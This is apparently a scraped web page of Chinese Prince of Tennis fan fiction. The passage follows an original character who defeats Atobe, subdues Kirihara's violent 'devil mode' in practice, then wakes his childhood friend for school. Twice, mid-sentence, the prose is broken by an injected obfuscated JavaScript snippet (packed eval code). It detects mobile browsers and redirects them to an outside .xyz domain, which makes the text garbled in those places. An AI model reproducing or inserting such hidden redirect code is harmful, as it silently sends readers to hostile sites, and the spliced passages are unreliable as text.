这过于戏剧化和华丽的登场方式,引得立海大不少普通部员侧目,甚至响起一阵压抑不住的窃窃私语。立海大的正选们则大多见怪不怪,真田弦一郎狠狠压低了帽檐,从鼻子里发出一声不悦的冷哼:“太松懈了!” 幸村精市则依旧保持着温柔的微笑,只是那双紫蓝色的眼睛里闪烁着一丝不易察觉的锐利。 冰帝众人入场后,迹部景吾锐利的目光迅速扫过立海大的阵容,评估着对手的状态。他的视线很快略过了熟悉的幸村、真田、柳莲二,最终落在了那个站在稍靠后位置,神情异常平静的黑发一年级正选身上。关于这个加九间柳的传闻,他略有耳闻,据说是个实力强劲甚至有些神秘的新人,快速成为了立海大的正选。 迹部嘴角勾起一抹感兴趣的笑容,他向来欣赏有实力的人,也乐于主动发掘和挑战。他迈开步伐,气场强大却并不显得咄咄逼人,径直朝着加九间柳走去。冰帝和立海大的成员们都注意到了他的动向,目光纷纷聚焦。 “你就是立海大的新人,加九间柳?”迹部停下脚步,声音带着一种天然的引人注目的磁性。 处于视线焦点的加九间柳闻声抬头,那双墨色的略显冷感的瞳孔对上了迹部景吾打量的目光。迹部景吾无疑拥有极其出色的外貌,搭配他自信张扬甚至堪称华丽的气质,仿佛自身就是一个发光体,在晨光和玫瑰花瓣的背景下,这种美感被渲染到了极致,形成一种极具冲击力的视觉盛宴。而这种极致耀眼的存在,恰好精准无比地命中了加九间柳某个不为人知的、连柳明音都偶尔会调侃的隐秘属性——他对极度漂亮、华丽、完美无瑕的人或物,缺乏抵抗力,通常会表现出最直接的反应。 于是,在众目睽睽之下,加九间柳那张大部分时间没什么表情的如同精致白瓷般的脸上,罕见地清晰地浮现出一层淡淡的薄红。虽然他的眼神依旧冷静透彻,站姿依旧笔直挺拔,没有任何局促不安的动作,但那抹悄然爬上的绯色却无法掩饰地从他白皙的皮肤下透出来,如同雪地上落下的第一瓣红梅,格外显眼。 他迎着迹部探究的目光,用他那特有的几乎听不出情绪的声线,极其认真且直白地回应了迹部的搭话,仿佛只是在陈述一个经过严谨观察后得出的客观结论:“是。你很华丽。” 没有敬语,没有寒暄,没有多余的情绪铺垫,干净利落得像一颗精准的击球。但配合他脸上那抹未褪的与他冷淡气质形成巨大反差的薄红,效果惊人。 一直密切关注着他的丸井文太和切原赤也第一时间发现了异常。 “喂喂!等等!加九间他……脸红了?!”丸井差点咬破嘴里的泡泡糖,惊恐地指着加九间柳。 切原赤也更是如同见了鬼一样,眼睛瞪得溜圆,指着加九间柳的方向:“哇啊啊!真的红了!还夸他帅!不会是被下咒了吧?!” 切原赤也瞬间脑补了一系列“冰帝部长用美色挖角立海大珍贵且毛茸茸的新星”的可怕剧情,顿时慌了神,左右张望:“不好了不好了!部长!明音!你们快用你们无敌的脸想想办法啊!加九间柳要被冰帝的拐走了!!”他似乎已经完全忘了加九间柳强大的实力和意志力。 他们的惊呼声不小,幸村精市和柳明音也一直关注着这边。柳明音愣了一下,随即恍然,无奈地扶额,小声对幸村快速解释:“小柳他……老毛病了,对过于华丽漂亮的东西有点……嗯,缺乏免疫力。” 幸村精市脸上的笑容顿时加深了几分,紫蓝色的眼睛里闪烁着玩味的光芒:“原来如此,真是……可爱的弱点呢。” 冰帝那边,忍足侑士推了推眼镜,镜片微妙地反过一道光,低笑着对身边的向日岳人说:“看来迹部的魅力跨校通杀啊,连立海大的新星都难以抵挡,评价很直接嘛。” 向日岳人则是一脸好奇和看好戏的表情。 迹部景吾本人显然也没料到对方会如此直接且……纯情(?)地给出这样的回应。他怔了一下,眼中闪过一丝罕见的错愕,随即化为更加浓厚的兴趣和一丝被取悦的笑意。他大笑起来,笑声爽朗而充满自信:“哈哈哈!不错,很有眼光!审美也很在线嘛,加九间柳!” 他心情颇佳地又抚了一下泪痣,“本大爷开始期待和你的比赛了,可别让本大爷失望。” 加九间柳脸上的红晕在迹部大笑的时候已经开始慢慢消退,他闻言只是平静地点了下头:“不会。” 这个小插曲让赛前的气氛变得有些微妙,但很快双方都投入到正式的热身和比赛安排中。练习赛的名单出炉,如同某种默契或者故意安排,单打二的位置,赫然是加九间柳对阵迹部景吾。 这场比赛瞬间吸引了所有人的目光。刚才还疑似被对手颜值“震撼”的立海大神秘新人 vs 冰帝的帝王。观众席上,立海大和冰帝的部员们各自为阵,气氛悄然升温。 迹部景吾脱下外套,潇洒地抛给身后的桦地,握着球拍走上球场,气场全开:“就让本大爷来亲手检验一下,立海大新星的真正成色吧!沉醉在本大爷的美技之下!” 加九间柳依旧沉默寡言,只是默默地将外套放在长椅上,握紧了球拍,走上球场。他墨色的竖瞳中沉静无波,实则早已升腾起内敛而认真的战意。他脸上早已恢复了一贯的冷白,看不出丝毫异常。 迹部景吾习惯性地抬起手,想要打响指,说出他那句标志性的开场白: 迹部景吾:“胜者是——” 加九间柳:“是我。” 清冷平静的声音,比他更快地响起,截断了他的话。 迹部景吾的手还举在半空,响指没能打出来。他看着加九间柳,脸上的表情从错愕慢慢转变为一种复杂难言的神色,最终,所有情绪化为一声意味不明的低笑,他放下手:“……啊嗯?竟然抢本大爷的台词?” 加九间柳站在网前,平静地注视着迹部,仿佛只是在陈述一个早已注定的事实。那双漂亮得如同黑曜石般的眼睛里,没有傲慢,没有挑衅,只有一片沉静的自信。 “比赛开始,一局定胜负,迹部发球局!” 裁判声音刚落,迹部便毫不犹豫地展现了他作为冰帝帝王的强大实力。他将网球高高抛起,身体向后极度弯曲,形成一个完美的弓形,随即猛然发力! “唐怀瑟发球!” 砰! 一声清脆的爆响,网球如同出膛的炮弹,带着剧烈的旋转,几乎是贴着地面疾驰而过,落地后几乎没有弹起,直接滑向场外。 “15-0!” “哇!一上来就是唐怀瑟!”冰帝那边响起欢呼。 迹部嘴角微扬,再次发球。 “30-0!” “40-0!” “Game,迹部,1-0!” 凭借无解的发球,迹部轻松保发。他看向加九间柳,眼神带着审视和压迫:“怎么了?连球都碰不到吗?” 加九间柳没有说话,只是默默走到底线,准备发球。他的表情没有任何变化,并未被这凌厉的开场影响心绪。 加九间柳的发球朴实无华,却快得惊人,力量也沉重无比。迹部眼神一凛,迅速移动,精准地捕捉到落点,反手一击:“速度不错,但还在本大爷的洞察之内!” 两人开始了高速的对攻。迹部的网球华丽且充满技巧,每一个动作都仿佛经过精心设计,充满了力量与美感。他的洞察视力更是可怕,能精准地看穿对手的弱点和习惯,提前预判球的路线。 “你的死角,太多了!”迹部看准一个机会,打出一记精准的抽击球,直飞加九间柳预测移动的反方向。 然而,加九间柳的反应速度快得超乎常理。就在众人以为他肯定追不上的时候,他的脚步骤然发力,身体如同离弦之箭般侧滑出去,硬生生在球落地前赶到,手臂猛地挥出! 砰! 回球带着惊人的力道和速度,反向飞向迹部的另一边底线。 “0-15!”裁判喊道。 迹部眼中闪过一丝惊讶,但立刻被更浓的战意取代:“哦?有点意思!看来不是徒有虚表!” 接下来的比赛彻底进入白热化。迹部不断使出他的华丽招式,“破灭的圆舞曲”试图打掉加九间柳的球拍,但加九间柳的力量强得非人,第一次虽然球拍被打得剧烈震颤,却并未脱手,第二次更是直接硬碰硬地打了回去,虽然回球质量不高被迹部扣杀得分,但足以让所有了解“破灭的圆舞曲”威力的人震惊。 “这家伙……是怪物吗?”冰帝的向日岳人喃喃道。 迹部也开始流汗,他的洞察力虽然能大致预判加九间柳的动作,但对方那非人的身体素质、恐怖的反应神经和 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全场观众都屏住了呼吸。迹部景吾咬紧牙关,死死盯着加九间柳,试图做最后的挣扎,寻找哪怕一丝破绽。 加九间柳站在底线,深吸一口气。他抛球,起跳,挥拍——动作简洁流畅,毫无花哨,却凝聚了全身的力量。 一记简单、粗暴、却快到极致、重到极致的发球,如同一道闪电,直接砸在发球区的外角,然后如同炮弹般弹起,几乎看不到轨迹。 迹部的身体下意识地动了一下,但终究慢了一步。 球重重地砸在他身后的挡网上。 “Game,set and match,won by 加九间柳,6-3!” 比赛结束。 迹部景吾微微喘息,汗水浸湿了他的头发,他看着对面气息依旧平稳、仿佛刚才只是进行了一场热身运动的黑发少年,眼中充满了震惊、不甘,但更多的是一种对强大对手的认可和尊重。 全场有一瞬间的寂静。 紧接着,立海大这边爆发出巨大的欢呼声,尤其是丸井和切原,喊得最大声:“干得漂亮加九间!” 迹部景吾隔着球网向加九间柳伸出了手,语气是难得的认真:“打得不错。你的网球简单,纯粹,但强得惊人。本大爷承认你了。” 加九间柳看了看迹部的手,又看了看迹部那张因为运动后泛着红晕却依旧华丽耀眼的脸,伸出手与他交握,依旧是那副平淡的腔调:“谢谢。你也很帅,网球也很华丽。” 他延续了最初的评价,并追加了对网球的看法。 迹部:“……” 他忽然觉得,这家伙可能真的只是在陈述他眼中看到的事实,而不是在调侃或讽刺他。这种纯粹的直球,反而让人有点没脾气。 练习赛结束后,冰帝的队伍在迹部的带领下华丽地离去,虽然输了比赛但气势不能输,玫瑰花瓣依旧要撒。迹部在上车前,还特意回头看了一眼正在被立海大众人围住的加九间柳,眼神深邃。 丸井和切原立刻冲到场内,围到加九间柳身边,心有余悸又兴奋不已:“太好了加九间!你赢了!”“而且你没有跟他走!太好了!” 加九间柳看着他们,略显疑惑:“走?为什么要走?” 他似乎完全没意识到自己赛前那短暂的“脸红”和直白的“夸奖”造成了多大的误会,以及让两位队友经历了怎样的心理煎熬。 柳莲二合上笔记本,冷静地补充数据:“对极致华丽外貌存在短暂生理性反应,但不影响比赛判断和胜负欲,甚至可能因欣赏而更加认真。结论:该属性不影响网球实力,无需担忧。” 柳明音在一旁笑得肩膀直抖,对幸村说:“看吧,我就说没事,小柳只是比较直白。” 幸村精市微笑着总结,目光扫过加九间柳和远处冰帝离开的方向:“看来,以后和冰帝的比赛,或许可以专门派加九间去对付迹部呢。效果似乎出奇的好。” 毕竟,能让迹部景吾那种性格的人吃瘪到说不出话,还被真诚夸“帅”和“华丽”的场景,可不多见,说不定还能微妙地干扰到那位追求华丽的国王的心态。 真田弦一郎走过来,虽然对加九间柳击败强敌表示满意,但还是严肃地指出:“不要大意!全国大赛上还会有更多强敌!继续加强训练!” 加九间柳似懂非懂地听着大家的议论,但听到“华丽”二字,还是下意识地朝冰帝离开的方向看了一眼。 嗯,确实很帅,网球也很华丽,就像他之前的好友宇髓天元那样,漂亮的战斗就算是对手看到了也会有好心情的吧。他在心里再次想道。然后转头看向幸村和真田:“接下来和谁对练?” 他的世界很简单:认可同伴,击败对手,以及欣赏一切华丽耀眼的事物。而今天,他只是同时完成了这三件事而已。 15. 恶魔化 练习赛结束后,针对这一次比赛尤其是加九间柳与迹部一役的分析与强化训练迅速展开。柳莲二的笔记本上又增添了密密麻麻的新数据,而真田则更加严格地督促着所有人的训练。 “切原!你的移动太散漫了!脚步跟上!”真田的低吼声在球场上回荡。 切原赤也嘟囔着“知道了知道了”,脚下却不由自主地加快了几分。他虽然已经是正选,但跳脱的个性和偶尔不受控制的比赛方式,依旧是真田重点“关照”的对象。 “加九间,你来和切原进行对打练习。切原,你需要学习如何应对力量型和速度型兼备的选手。加九间,控制好你的力度,重点是练习节奏控制和角度变化。”柳莲二安排道。 加九间柳默默点头,拿起球拍走向空着的场地。切原赤也也蹦跳着过去,脸上带着跃跃欲试的笑容:“嘿嘿,加九间,这次我可不会像上次那样轻易输掉了!” 加九间柳看了他一眼,墨色的瞳孔里没什么波澜,只是简单地“嗯”了一声作为回应。 练习开始。初期,加九间柳谨记柳莲二的指示,并未全力施为,更多的是用精准的落点和稳定的节奏与切原周旋,试图引导他进行多拍回合,磨练其耐心。 然而,加九间柳“控制”下的回球,对于绝大多数选手而言,已然是沉重迅疾的重炮。切原赤也打得十分吃力,为了接到那些角度刁钻力量十足的球,他不得不全力奔跑,精神高度集中。 “可恶!速度太快了!”切原咬着牙,额角渗出汗水。他被加九间柳完全压制,那种密不透风的压迫感让他逐渐焦躁起来。他引以为傲的节奏被打乱,引拍和击球都开始变得仓促。 加九间柳注意到切原的急躁,试图稍微放缓节奏,但他的“放缓”在切原感知里依旧如同狂风暴雨。一次看似普通的正手抽击,加九间柳以为切原能够接到,并未收力。 网球如同炮弹般直冲切原的反手位。切原瞳孔一缩,拼命追赶,在极限位置勉强将球拍够到球。但那股巨大的冲击力远超他的预期,球拍被狠狠震开,网球擦着拍框飞向了场外。 “哐当”一声,切原的球拍脱手飞出,落在地上。 切原赤也喘着粗气,看着自己微微发麻的手腕,又看了看对面依旧面无表情的加九间柳,一股难以言喻的挫败感和火气“噌”地冒了上来。他捡起球拍,眼神开始变得有些不一样,原本海藻头般的发丝似乎都更加张扬了几分,眼底隐隐泛起一丝不祥的红光。 “喂……加九间,你是在小看我吗?”切原的声音压低,带着一丝危险的意味。 加九间柳偏了偏头,似乎有些不解:“没有。柳前辈让我控制力度。” “控制力度?”切原赤也嗤笑一声,那抹红色在他眼中逐渐扩散,“这种软绵绵的球,算什么练习!来真的啊!让我看看你打败迹部景吾的实力!” 下一球,加九间柳发球。他犹豫了一下,最终还是增加了几分力道,希望能让切原意识到差距从而冷静下来——他记得柳莲二说过,切原前辈在受刺激时容易进入一种危险的状态。 但他低估了自己力量带来的压迫感,也高估了切原此刻的心理状态。 看到那记比之前更快的发球,切原赤也非但没有退缩,反而像是被彻底点燃了引信。他猛地冲上前,眼底的红光几乎占据了眼白,嘴角咧开一个近乎狰狞的笑容,整个人的气息变得狂躁而危险。 “就是这样!来吧!”他嘶吼着,不再追求回球的质量,而是用一种近乎搏命的姿态,狠狠地将球抽击回来! 网球变得充满了暴戾的气息。 加九间柳皱了皱眉,他发现,切原的回球开始刻意瞄准他的身体,力量和旋转也变得诡异起来。 “砰!”“砰!” 几次来回后,切原赤也彻底失去了理智,完全被“恶魔化”的状态所支配。他发出一声不似人类的低吼,看准加九间柳一个轻微的调整重心瞬间,猛地跳起,手指用力扭曲地扣在网球上,狠狠砸下! “指节发球!”他狂笑着喊道。 那记发球带着剧烈的不可预测的旋转,如同一颗失控的炮弹,并非飞向预判的落点,而是直直地砸向了加九间柳的左腿外侧! “嘭!” 一声闷响,听得人牙酸。 所有人都愣住了,练习的声响瞬间停止。丸井文太吹破的泡泡糖粘在了脸上都忘了弄掉,胡狼桑原张大了嘴巴,柳莲二的笔顿在了笔记本上,连真田都瞬间皱紧了眉头。 柳明音下意识地向前迈了一步,脸上写满担忧。 加九间柳身体晃动了一下,左腿承受重击的地方传来一阵尖锐的疼痛。他低头看了看,裤子上甚至能看出网球镶嵌过的痕迹,周围的布料微微凹陷下去。幸亏他体质远超常人,骨骼肌肉密度极大,否则这一球下去,骨折几乎是必然结局。 他缓缓抬起头,看向对面那个双眼赤红、喘着粗气仿佛沉浸在破坏快感中的切原赤也。加九间柳那双总是平静无波的墨色眼睛,在那一刻,悄无声息地发生了变化。瞳孔骤然收缩,拉长,变成了冰冷、锐利、毫无温度的野兽般的竖瞳。 一股无声却令人心悸的低气压以他为中心弥漫开来。空气中的温度仿佛都下降了几度。 他沉默地走回底线,准备接球。没有去看腿上的伤,也没有任何抱怨,只是那双竖瞳,死死地锁定了切原赤也,如同最顶级的掠食者盯上了不知死活挑衅它的猎物。 “切原!停下!”真田厉声喝道,想要阻止。 但已经晚了。恶魔化的切原根本听不进任何话,他只觉得对手的气势变了,这反而更加刺激了他的攻击欲。他大笑着再次打出指节发球,这次瞄准的是加九间柳的身体! 加九间柳没有躲闪,也没有试图挥拍。 “砰!”一球狠狠砸在他的腹部。 “砰!”一球擦过他的手臂。 …… 他就像一尊感觉不到疼痛的磐石,用身体硬生生接下了切原赤也所有暴力的回球。每一次撞击都发出令人心惊肉跳的闷响。他用自己的方式,沉默固执地“体验”着切原赤也所崇尚的网球。 这一局,加九间柳一分未得,甚至没有一次挥拍。最终,切原赤也凭借暴力发球和攻击,拿下了这一局。 “Game,切原,2-1!”担任临时裁判的部员声音有些发颤。 交换场地。加九间柳一步步走过球网,每一步都沉稳无比,仿佛那些重击从未发生。他与切原赤也擦肩而过时,那双竖瞳冷冷地扫过对方。 切原赤也正处于恶魔化的亢奋中,却被那一眼看得莫名一颤。 轮到加九间柳的发球局。 他站在底线,轻轻拍打着网球,那双竖瞳里的寒意几乎要凝结成实质。周身的气势不再是平时的内敛,而是化作实质性的狂暴的压迫感,仿佛一头压抑着怒吼的凶狼。 “这就是切原前辈崇尚的网球吗,”加九间柳开口,声音低沉沙哑,却带着一种冰冷的穿透力,“我明白了。” 话音未落,他已然将球抛起!身体如同拉满的强弓,每一块肌肉都爆发出惊人力道,挥拍的动作快得只剩残影! “吼——!” 仿佛伴随着一声无形的狼啸,网球撕裂空气,带着肉眼难以捕捉的速度和一股一往无前的凶猛气势,直扑切原赤也!它并非瞄准身体,而是擦着切原赤也的右臂外侧飞过! “嗤啦——!” 网球带起的凌厉气流,竟然直接切开了切原赤也的运动服袖子,只在衣服上留下了一道清晰的口子。而网球本身则重重砸在底线上,发出“咚”的一声沉重巨响,甚至让地面微微震颤。 所有人都倒吸一口冷气。这一球如果打在人体上,后果不堪设想。 切原赤也看着自己被划破的袖子,愣住了。恶魔化的状态似乎被这更具威胁性的暴力震慑住,出现了一丝动摇。 但加九间柳没有给他思考的时间。接下来的比赛,彻底进入了加九间柳的节奏——或者说,是一头被激怒的凶兽的狩猎时间。 他的每一次挥拍都充满了原始的力量感,网球如同接连不断的重炮,又像是猛兽利爪的撕扯,带着令人窒息的压力。每一球都充满了极强的威慑力,擦着切原的身体飞过,击碎他的脚步,冲击他的心理。 即便切原赤也偶尔能判断对方向,拼尽全力接到球,那沉重的力道也震得他手臂发麻,虎口生疼,根本无法做出有效的回击,球不是下网就是飞出界外。 加九间柳的眼神始终冰冷,竖瞳紧盯着切原,那目光仿佛不是在打球,而是在思考从哪里下口撕咬猎物的脖颈。这种精神上的压迫,远比身体上的对抗更让切原感到恐惧。他的恶魔化状态在这种纯粹的更高等的暴力威慑下,开始迅速消退,眼中的红光逐渐褪去,取而代之的是慌乱和不知所措。 “Game,加九间,3-2!” “Game,加九间,4-2!” “Game,加九间,5-2!” 比分被迅速反超并拉开。最后一球,加九间柳一记毫无花哨的正面重击,直撞向切原赤也的拍面! 咔嚓! 一声脆响,切原赤也的球拍网线应声而断!而那股巨大的冲击力也让他再也无法握住球拍,球拍脱手飞出,他本人更是被震得连连后退,最终一屁股跌坐在地上,呆呆地看着自己断掉的球拍。 “Game,set and match,won by 加九间柳,6-2!” 比赛结束。 加九间柳周身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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猝不及防的动作让切原赤也瞬间瞪大了眼睛,脸上还挂着没擦干的汗水和些许生理性泪水,呆呆地看着突然逼近的加九间柳那张精致却没什么表情的脸。 两人距离极近,呼吸可闻。 加九间柳认真地看进切原的眼睛里,一字一句地说道:“不希望切原前辈用暴力网球打伤对手,是因为我也不想看到切原前辈有可能在这个球场上受伤。” 他顿了顿,语气变得更加坚定,带着一种纯粹的信任,“我相信前辈会做好的,因为我认为切原前辈是个非常值得我尊敬的前辈,对吗?” “值、值得尊敬……?我?前辈?”切原赤也的大脑瞬间宕机了。脸颊上传来加九间柳手指微凉的触感,眼前是对方放大版的毫无杂质的真诚眼神,耳朵里反复回响着“值得尊敬”这四个字……巨大的反差和从未想过的评价,像一道强光劈开了他所有的沮丧和自我怀疑。 血液“轰”的一下全部涌上了头顶,切原赤也的脸瞬间变得爆红,头顶几乎要冒出蒸汽来。晕晕乎乎中,他只看到加九间柳的嘴巴在一张一合,后面说了什么根本听不清,满脑子都是“尊敬”“前辈”…… “对、对!我知道了!我会做好的!我一定不会再用了!我我我……”他语无伦次地大声保证着,几乎是凭借着本能反应。 “噗嗤——” 不远处,终于憋不住的笑声打破了寂静。 只见丸井文太挂在胡狼桑原身上,笑得直捶搭档的肩膀:“哈哈哈!脸红了!赤也这家伙脸红的像煮熟了的虾子!” 仁王雅治摸着下巴的小辫子,坏笑着:“噗哩~没想到看起来最单纯的加九间,对付炸毛小动物很有一手嘛,puri~” 柳生比吕士推了推反光的眼镜,用他那特有的冷静而优雅的嗓音低声补充道:“看来下次需要心理辅导的时候,可以优先考虑加九间君。效果拔群,只是这方式……未免有些过于‘亲密无间’了。” 柳莲二默默地在笔记本上记录:“应对切原恶魔化新方案:物理震慑+心理冲击+直球肯定。加九间柳实施成功率预估:95%。备注:后者效果异常显著,但需注意使用对象及场合,避免不必要的误会。” 真田弦一郎压了压帽檐,似乎想说什么教训的话,但看着切原那虽然脸红得离谱却明显脱离了阴霾,甚至有点焕然一新的状态,最终只是“哼”了一声,嘴角似乎微不可查地弯了一下。 幸村精市眉眼弯弯,笑容温柔而深邃:“看来柳找到了比真田的铁拳制裁更有效的教育方式呢。” 柳明音则松了一口气,无奈地笑着摇头:“小柳啊,总是用最直接的方式解决问题。” 他看着场中依旧捧着切原脸,似乎在确认对方是否真的听懂了加九间柳。以及那个已经彻底晕头转向,只会疯狂点头的切原赤也,心想这画面虽然有点超出预期,但结果似乎还不错。 加九间柳得到了切原的保证,这才松开手,站直身体,仿佛刚才只是完成了一件很平常的事情。 而切原赤也,则晕乎乎地从地上爬起来,摸着自己还在发烫的脸颊,看着加九间柳的背影,脑子里循环播放着“值得尊敬的前辈”,第一次开始认真思考,除了打败立海三巨头成为NO.1之外,作为一个“前辈”,到底该是什么样的。 16. 幼驯染的一天 清晨四点整,加九间柳准时睁开眼睛。神奈川的空气还带着海潮般的湿润凉意。他完成洗漱,前往演武场开始晨训,在五点四十五结束,六点整时已简单冲洗完毕换上熨烫平整的立海大校服,然后径直走向厨房。 从冰箱里拿出牛奶、鸡蛋、吐司和果酱,他的动作有条不紊。煎蛋的火候恰到好处,吐司烤至边缘微焦的金黄色,牛奶温热到刚好入口不烫的程度。他将两份早餐分别放在两个盘子里,其中一份的吐司上涂抹了格外厚实的草莓果酱——是他的偏好。 做完这一切,时间刚好指向六点三十五分。他解下围裙,并没有立刻坐下享用早餐,而是走到玄关,穿上室外鞋,安静地出了门。 他的目的地就在隔壁。他站在柳家门前,没有按门铃,而是从口袋掏出一把钥匙,轻轻插入锁孔,转动。 门悄无声息地开了。他对柳家的熟悉程度不亚于自己家。屋内一片寂静,柳明音的父母通常更早上班,此时早已出门。 加九间柳熟门熟路地走上二楼,停在最里侧的房间门前。门上挂着一个手写的牌子,字体有些张扬潦草:“生人勿近,熟人也慎入!!”,下面还画了个小小的骷髅头。他无视了警告,直接拧开门把手。 房间里的景象与门外整洁的走廊形成鲜明对比。窗帘拉得严严实实,光线昏暗,空气中弥漫着淡淡的属于柳明音的气息,混合着一点纸张和墨水的味道。衣物随意地搭在椅背上,书桌上散落着几本翻开的漫画和习题集。 而最引人注目的,是房间阴暗的墙角。那里堆放着十几个闹钟,形态各异,但无一例外都呈现出某种“非正常死亡”状态——有的外壳碎裂,有的电池被抠出,有的指针扭曲,甚至有一个被胶带缠得像个木乃伊。 房间的主人此刻正深陷在柔软的被褥中,只露出一头浅褐色的乱发和半张脸,呼吸均匀绵长,显然正与周公难舍难难分。 加九间柳走到床边,安静地看了一会儿。然后他伸出手,轻轻推了推被子下鼓起来的那一团。 “明音,该起床了。” 被子里的人毫无反应,甚至不耐烦地咕哝了一声,把头埋得更深了。 加九间柳并不气馁,他似乎早已习惯了这项每日任务。他想了想,伸出两根手指捏住被子的一角,然后一点点往下拉。 柳明音的抵抗意识在睡梦中依然顽强,他下意识地攥紧被沿,双方展开了一场无声的拔河。最终,加九间柳成功将被子拉到了对方下巴的位置。 柳明音皱紧了眉头,眼睛死死闭着,表达着无声的抗议,整个人下意识地蜷缩起来。 晨光透过窗帘的缝隙,恰好落在他脸上,勾勒出少年人柔和却带着明显起床气的轮廓。加九间柳的目光在他脸上停留了几秒,然后做出了一个极其自然的动作——他弯下腰,用自己的侧脸轻轻贴了贴柳明音露在外面在被子里捂得温热的脸颊。 他的体温通常偏低,脸颊带着晨间的微凉。 “唔……”柳明音被这突如其来的凉意激得哼了一声,睫毛颤动了几下,终于极其不情愿地艰难掀开了一条眼缝。 模糊的视线里,是加九间柳那张近在咫尺的异常熟悉的脸。 “……小柳?”他的声音含混不清,带着浓重的睡意和被打扰的不满,“……走开……困……” “早餐准备好了。”加九间柳直起身,语气带着不容置疑的坚持,“该起床了。” “五分钟……就五分钟……”柳明音企图蒙混过关,眼睛又要闭上。 加九间柳沉默了一下,忽然伸出手,指尖轻轻拂过柳明音额前翘起的乱发,然后……极其轻微地挠了挠他的下巴。动作生涩却带着一种奇异的亲昵,像是在试图安抚一只闹脾气的猫。 柳明音似乎被这罕见又别扭的逗弄方式取悦了,或者说,是彻底弄没了脾气。他闭着眼,嘴角却忍不住向上弯了一下,含混地抱怨:“……你这都是跟谁学的。” 虽然这么说着,他还是磨磨蹭蹭地挣扎着从温暖的被窝里坐了起来,眼睛半睁半闭,整个人散发着“我很不爽但拿你没办法”的气场。 加九间柳见他坐起来,便不再催促,只是安静地站在床边等着,仿佛完成任务后待机的机器人。 柳明音迷迷糊糊地发了几分钟呆,终于勉强驱散了部分睡意,晃晃悠悠地爬下床,趿拉着拖鞋,梦游般飘向洗漱间。加九间柳就跟在他身后,确保他不会一头撞在门框上。 十几分钟后,洗漱完毕换好校服的柳明音总算看起来清醒了不少,虽然眼角还残留着一点慵懒。 吃完早餐,收拾好餐具,两人并肩出门。晨光正好,将他们的影子投在干净的步道上。 “说起来,”柳明音忽然想起什么,侧头看向加九间柳,“昨天你把切原前辈教训得不轻,我看到你腿上的淤青了,没事吧?” “没事。”加九间柳回答,顿了顿,补充道,“他明白了。” “是啊,看出来了,离开时有点魂不守舍,嘴里还念叨着什么‘前辈’、‘尊敬’……”柳明音忍不住笑起来,“你最后跟他说什么了?效果这么惊人?” 加九间柳回想了一下,诚实回答:“说他值得尊敬。” 柳明音:“……就这么简单?” 加九间柳:“嗯。” 柳明音扶额,随即又笑得肩膀直抖:“果然是你的风格。” 路上,他们会经过一个街心公园。有时会遇到晨跑的邻居,柳明音会笑着打招呼,有加九间柳在旁边小声提醒,他并不怕认错人。加九间柳则会微微颔首示意。柳明音的话总是多一些,会聊起昨晚看的电视节目,或者班里发生的趣事,加九间柳大多安静地听着,偶尔才会简短地回应一两句。 但这种沉默从不冷场。柳明音知道加九间柳在认真听。 走到学校附近,已经开始能看到三三两两穿着同样校服的学生,周围的学生多了起来。柳明音只能勉强分辨出人影,细节一概模糊。这时他才意识到自己遗忘了什么——他的眼镜。 “小心台阶。”加九间柳低声提醒。 “哦、哦!”柳明音连忙低头,勉强看清台阶边缘。 然而,就在走向自己班级的走廊上,意外还是发生了。“砰”地一下,柳明音结结实实撞在了半开着的教室门框上,疼得他“嘶”了一声。 “没事吧?”加九间柳扶住他。 “没、没事……”柳明音揉着额头。 好不容易摸到教室门口,他眯着眼,判断了一下门的位置,小心地伸手去推——结果推了个空,手按在了门边的墙壁上,身体因为惯性又往前一倾,肩膀轻轻撞在了门板上,发出不大不小的一声“咚”。 班里已经到的几个同学闻声看过来,就看到柳明音眯着眼,一脸茫然地对着门边的墙壁小声说着“抱歉”,然后才摸索到真正的门把手,窘迫地溜了进来。而他身后,是眼神里明显透着一丝无奈的加九间柳。 “明音君,你没事吧?”一个女生关切地问。 “啊哈哈……没事,只是忘了带眼镜……”柳明音干笑着,眯着眼努力辨认着声音的方向,好在是有惊无险正确地摸到了自己的位置。加九间柳在他旁边坐下,默默递过来一张纸巾——他刚才撞门时额头沾了点灰。 整个上午,柳明音都处于一种“半盲”状态。黑板上的字是一片模糊的光影,老师的表情根本看不清,只能靠耳朵拼命听和加九间柳偶尔推过来的笔记度过。 午休铃声如同天籁。便当盒被拿出。加九间柳准备的便当一如既往的丰盛,炸虾天妇罗金黄酥脆,肉卷香气扑鼻,玉子烧嫩滑,甚至连西蓝花和胡萝卜都摆放得整整齐齐——这后者显然是为了应对柳莲二的数据监控而存在的“健康装饰”。 “去天台?”加九间柳问。 “去!”柳明音立刻点头,在人多的地方完全看不清谁是谁,他眯着眼跟着加九间柳往外走。 其实天台也有不少学生在此用餐。丸井文太和胡狼桑原也在,看到他们上来便招手:“这边这边!” “哦!是幸村前辈和真田前辈吗?”柳明音眯着眼努力辨认着模糊的人影轮廓。 “噗,明音,你这眼神没救了啦!”丸井笑着吹了个泡泡。 切原赤也也端着便当盒蹦了过来:“加九间!柳明音!你们也来天台啊!”他看起来精神不错,似乎已经完全从昨天的打击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16360817|183667||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中恢复,只是看到加九间柳时眼神里多了一点不好意思。 大家围坐在一起。加九间柳打开便当盒,诱人的香气立刻飘散开来。 “哇!加九间你的便当看起来还是这么好吃!”切原眼睛发亮。 加九间柳默默地将便当盒往中间推了推,示意大家可以分享。 柳明音眯着眼,努力对付着自己饭盒里的食物。加九间柳瞥了他一眼,又看了看自己饭盒里那些作为“摆设”的蔬菜,沉默地拿起筷子,极其自然地将几块西蓝花和胡萝卜夹到了柳明音的饭盒里,动作快而隐蔽。 柳明音正眯着眼努力夹一块炸虾,根本没注意到自己饭盒里多了点“健康色彩”。加九间柳面不改色,正准备继续“转移”青椒时,一个平静无波的声音在他身后响起: 